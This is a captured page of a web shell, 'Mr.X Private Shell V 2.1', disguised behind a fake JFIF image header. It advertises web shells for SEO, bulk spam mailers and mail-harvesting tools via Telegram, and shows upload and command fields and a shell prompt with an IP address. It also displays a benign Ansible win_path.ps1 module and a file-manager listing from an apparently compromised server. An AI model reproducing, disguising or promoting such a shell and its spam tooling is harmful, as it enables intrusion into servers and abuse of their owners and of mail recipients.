����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

deexcl@216.73.217.71: ~ $
#!powershell

# GNU General Public License v3.0+ (see COPYING or https://www.gnu.org/licenses/gpl-3.0.txt)

#AnsibleRequires -CSharpUtil Ansible.Basic
#AnsibleRequires -PowerShell Ansible.ModuleUtils.AddType

$spec = @{
    options = @{
        name = @{ type = "str"; default = "PATH" }
        elements = @{ type = "list"; elements = "str"; required = $true }
        state = @{ type = "str"; choices = "absent", "present"; default = "present" }
        scope = @{ type = "str"; choices = "machine", "user"; default = "machine" }
    }
    supports_check_mode = $true
}
$module = [Ansible.Basic.AnsibleModule]::Create($args, $spec)

$var_name = $module.Params.name
$elements = $module.Params.elements
$state = $module.Params.state
$scope = $module.Params.scope

$check_mode = $module.CheckMode

$system_path = "System\CurrentControlSet\Control\Session Manager\Environment"
$user_path = "Environment"

# list/arraylist methods don't allow IEqualityComparer override for case/backslash/quote-insensitivity, roll our own search
Function Get-IndexOfPathElement ($list, [string]$value) {
    $idx = 0
    $value = $value.Trim('"').Trim('\')
    ForEach ($el in $list) {
        If ([string]$el.Trim('"').Trim('\') -ieq $value) {
            return $idx
        }

        $idx++
    }

    return -1
}

# alters list in place, returns true if at least one element was added
Function Add-Element ($existing_elements, $elements_to_add) {
    $last_idx = -1
    $changed = $false

    ForEach ($el in $elements_to_add) {
        $idx = Get-IndexOfPathElement $existing_elements $el

        # add missing elements at the end
        If ($idx -eq -1) {
            $last_idx = $existing_elements.Add($el)
            $changed = $true
        }
        ElseIf ($idx -lt $last_idx) {
            $existing_elements.RemoveAt($idx) | Out-Null
            $existing_elements.Add($el) | Out-Null
            $last_idx = $existing_elements.Count - 1
            $changed = $true
        }
        Else {
            $last_idx = $idx
        }
    }

    return $changed
}

# alters list in place, returns true if at least one element was removed
Function Remove-Element ($existing_elements, $elements_to_remove) {
    $count = $existing_elements.Count

    ForEach ($el in $elements_to_remove) {
        $idx = Get-IndexOfPathElement $existing_elements $el
        $module.Result.removed_idx = $idx
        If ($idx -gt -1) {
            $existing_elements.RemoveAt($idx)
        }
    }

    return $count -ne $existing_elements.Count
}

# PS registry provider doesn't allow access to unexpanded REG_EXPAND_SZ; fall back to .NET
Function Get-RawPathVar ($scope) {
    If ($scope -eq "user") {
        $env_key = [Microsoft.Win32.Registry]::CurrentUser.OpenSubKey($user_path)
    }
    ElseIf ($scope -eq "machine") {
        $env_key = [Microsoft.Win32.Registry]::LocalMachine.OpenSubKey($system_path)
    }

    try {
        return $env_key.GetValue($var_name, "", [Microsoft.Win32.RegistryValueOptions]::DoNotExpandEnvironmentNames)
    }
    finally {
        $env_key.Dispose()
    }
}

Function Set-RawPathVar($path_value, $scope) {
    If ($scope -eq "user") {
        $var_path = "HKCU:\" + $user_path
    }
    ElseIf ($scope -eq "machine") {
        $var_path = "HKLM:\" + $system_path
    }

    Set-ItemProperty $var_path -Name $var_name -Value $path_value -Type ExpandString | Out-Null

    return $path_value
}

Function Register-EnvironmentChange {
    [CmdletBinding()]
    param (
        [Parameter(Mandatory = $true)]
        [Ansible.Basic.AnsibleModule]
        $Module
    )

    Add-CSharpType -AnsibleModule $Module -References @'
using System;
using System.ComponentModel;
using System.Runtime.InteropServices;

namespace Ansible.Windows.WinPath
{
    public class Native
    {
        [DllImport("User32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
        private static extern IntPtr SendMessageTimeoutW(
            IntPtr hWnd,
            uint Msg,
            UIntPtr wParam,
            string lParam,
            SendMessageFlags fuFlags,
            uint uTimeout,
            out UIntPtr lpdwResult);

        public static UIntPtr SendMessageTimeout(IntPtr windowHandle, uint msg, UIntPtr wParam, string lParam,
            SendMessageFlags flags, uint timeout)
        {
            UIntPtr result = UIntPtr.Zero;
            IntPtr funcRes = SendMessageTimeoutW(windowHandle, msg, wParam, lParam, flags, timeout, out result);
            if (funcRes == IntPtr.Zero)
                throw new Win32Exception();

            return result;
        }
    }

    [Flags()]
    public enum SendMessageFlags : uint
    {
        Normal = 0x0000,
        Block = 0x0001,
        AbortIfHung = 0x0002,
        NoTimeoutIfNotHung = 0x0008,
        ErrorOnExit = 0x0020,
    }
}
'@

    $HWND_BROADCAST = [IntPtr]0xFFFF
    $WM_SETTINGCHANGE = 0x001A
    $null = [Ansible.Windows.WinPath.Native]::SendMessageTimeout(
        $HWND_BROADCAST,
        $WM_SETTINGCHANGE,
        [UIntPtr]::Zero,
        "Environment",
        "AbortIfHung",
        5000)
}

$current_value = Get-RawPathVar $scope
$module.Result.path_value = $current_value

# TODO: test case-canonicalization on wacky unicode values (eg turkish i)
# TODO: detect and warn/fail on unparseable path? (eg, unbalanced quotes, invalid path chars)
# TODO: detect and warn/fail if system path and Powershell isn't on it?

$existing_elements = New-Object System.Collections.ArrayList

# split on semicolons, accounting for quoted values with embedded semicolons (which may or may not be wrapped in whitespace)
$pathsplit_re = [regex] '((?<q>\s*"[^"]+"\s*)|(?<q>[^;]+))(;$|$|;)'

ForEach ($m in $pathsplit_re.Matches($current_value)) {
    $existing_elements.Add($m.Groups['q'].Value) | Out-Null
}

If ($state -eq "absent") {
    $module.Result.changed = Remove-Element $existing_elements $elements
}
ElseIf ($state -eq "present") {
    $module.Result.changed = Add-Element $existing_elements $elements
}

# calculate the new path value from the existing elements
$path_value = [String]::Join(";", $existing_elements.ToArray())
$module.Result.path_value = $path_value

If ($module.Result.changed -and -not $check_mode) {
    Set-RawPathVar $path_value $scope | Out-Null
    Register-EnvironmentChange -Module $module
}

$module.ExitJson()

Filemanager

Name Type Size Permission Actions
__pycache__ Folder 0755
__init__.py File 0 B 0644
async_status.ps1 File 1.81 KB 0644
async_status.yml File 1.77 KB 0644
setup.ps1 File 49.89 KB 0644
setup.yml File 2.35 KB 0644
slurp.ps1 File 728 B 0644
slurp.yml File 1.5 KB 0644
win_acl.ps1 File 9.54 KB 0644
win_acl.py File 4.14 KB 0644
win_acl_inheritance.ps1 File 4.72 KB 0644
win_acl_inheritance.py File 2.34 KB 0644
win_certificate_store.ps1 File 19.78 KB 0644
win_certificate_store.py File 8.08 KB 0644
win_command.ps1 File 3.98 KB 0644
win_command.py File 6.13 KB 0644
win_copy.ps1 File 18.06 KB 0644
win_copy.py File 6.55 KB 0644
win_dns_client.ps1 File 12.99 KB 0644
win_dns_client.py File 2.13 KB 0644
win_domain.ps1 File 7.67 KB 0644
win_domain.py File 4.15 KB 0644
win_domain_controller.ps1 File 12.37 KB 0644
win_domain_controller.py File 5.66 KB 0644
win_domain_membership.ps1 File 10.36 KB 0644
win_domain_membership.py File 3.35 KB 0644
win_dsc.ps1 File 19.46 KB 0644
win_dsc.py File 7.31 KB 0644
win_environment.ps1 File 5.56 KB 0644
win_environment.py File 4.13 KB 0644
win_feature.ps1 File 4.1 KB 0644
win_feature.py File 4.63 KB 0644
win_file.ps1 File 5.4 KB 0644
win_file.py File 2.16 KB 0644
win_find.ps1 File 14.29 KB 0644
win_find.py File 11.19 KB 0644
win_get_url.ps1 File 11.59 KB 0644
win_get_url.py File 5.82 KB 0644
win_group.ps1 File 1.64 KB 0644
win_group.py File 1.1 KB 0644
win_group_membership.ps1 File 5.82 KB 0644
win_group_membership.py File 2.95 KB 0644
win_hostname.ps1 File 1 KB 0644
win_hostname.py File 1.07 KB 0644
win_optional_feature.ps1 File 2.84 KB 0644
win_optional_feature.py File 2.32 KB 0644
win_owner.ps1 File 2.18 KB 0644
win_owner.py File 1.05 KB 0644
win_package.ps1 File 51.85 KB 0644
win_package.py File 15.68 KB 0644
win_path.ps1 File 6.17 KB 0644
win_path.py File 2.94 KB 0644
win_ping.ps1 File 454 B 0644
win_ping.py File 1.16 KB 0644
win_powershell.ps1 File 29.57 KB 0644
win_powershell.py File 15.7 KB 0644
win_reboot.py File 4.76 KB 0644
win_reg_stat.ps1 File 4.11 KB 0644
win_reg_stat.py File 3.51 KB 0644
win_regedit.ps1 File 18.12 KB 0644
win_regedit.py File 6.35 KB 0644
win_service.ps1 File 37.85 KB 0644
win_service.py File 16.71 KB 0644
win_service_info.ps1 File 9.98 KB 0644
win_service_info.py File 9.44 KB 0644
win_share.ps1 File 11.93 KB 0644
win_share.py File 3.02 KB 0644
win_shell.ps1 File 4.93 KB 0644
win_shell.py File 5.69 KB 0644
win_stat.ps1 File 7.24 KB 0644
win_stat.py File 7.39 KB 0644
win_tempfile.ps1 File 2.46 KB 0644
win_tempfile.py File 1.49 KB 0644
win_template.py File 5.48 KB 0644
win_updates.ps1 File 57.42 KB 0644
win_updates.py File 11.95 KB 0644
win_uri.ps1 File 7.95 KB 0644
win_uri.py File 4.14 KB 0644
win_user.ps1 File 16.46 KB 0644
win_user.py File 5.43 KB 0644
win_user_right.ps1 File 13.78 KB 0644
win_user_right.py File 3.24 KB 0644
win_wait_for.ps1 File 9.56 KB 0644
win_wait_for.py File 4.42 KB 0644
win_whoami.ps1 File 30.96 KB 0644
win_whoami.py File 5.29 KB 0644